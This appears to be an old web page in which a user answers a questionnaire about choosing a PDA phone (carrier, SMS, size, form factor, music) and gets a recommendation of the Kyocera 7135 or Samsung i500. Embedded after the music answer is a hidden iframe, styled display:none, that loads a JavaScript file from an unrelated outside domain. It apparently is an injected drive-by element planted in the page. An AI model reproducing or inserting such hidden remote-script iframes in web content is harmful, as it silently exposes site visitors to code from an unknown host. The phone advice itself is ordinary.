1. What PDA and/or mobile phone do I use today?
Kyocera Smartphone 6035

2. Are locked into a mobile carrier (i.e. Verizon Wireless, Sprint PCS, etc.), or do you prefer a particular carrier? Do you know if one carrier has better coverage in places that you need to be?
I use Verizon and would like to stay (to keep my #), but will move if I get better features, etc.

3. Where are you based? Do you stay in one place or travel a lot? Do you travel internationally... how much and where? Do you intend to use your pdaPhone there?
I travel primarily in SE-US, AZ and NJ; I haven't traveled int'l for a few yrs and wouldn't use phone there if i go back.

4. Do have a preference of Palm, Pocket PC, Symbian, etc.?
I like Palm, but would change for better features, etc.

5. Are you likely to run it the way it came out of the box, or do you intend to load a whole lot of extra applications and stuff on it? Do you know of anything now that you will need to run?
I tend to add apps; now I run KeySuite and a few others.

6. How important is data, and what would you use data for (i.e. web, email, remote terminal, etc.)?
my only data reqs are related to contact lists, date books, etc.

7. Do you do SMS messaging a lot?
yes, but can't send w/o going to web on phone and can't respond to msgs I recevie; would like to send and repsond directly

8. Do you need a GPS for mapping and navigation?
not a show-stopper, but would be nice feature.

9. What is your size preference.. very close to the smallest cellphone, or you don’t care.. function over size?
the Kyocera I have now is huge; need something smaller; as small as I can get it w/o losing functionality

10. How will you carry it... pocket, belt, purse, etc.?
pocket

11. Do you prefer a particular form factor… flip-phone, candy bar, etc?
prefer flip, but would like to be able to talk and see who's callingwith flip closed

12. Do you prefer a QWERTY keyboard, or are you cool with a stylus?
prefer stylus

13. Do you want to play a lot of games? What kinds?
games are fine ... doesn't matter which ... not a big deal

14. Do you want to listen to music? What kind... mp3, streamed, etc.?
yes ... as much functionality as possible<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

The most logical choice is the Kyocera 7135... an easy transition for you. Check it out in a Verizon store to see if you like the form factor... if not, we can talk about other options.

The Samsung i500 might also be an option... very small, but it isn't available with Verizon however.
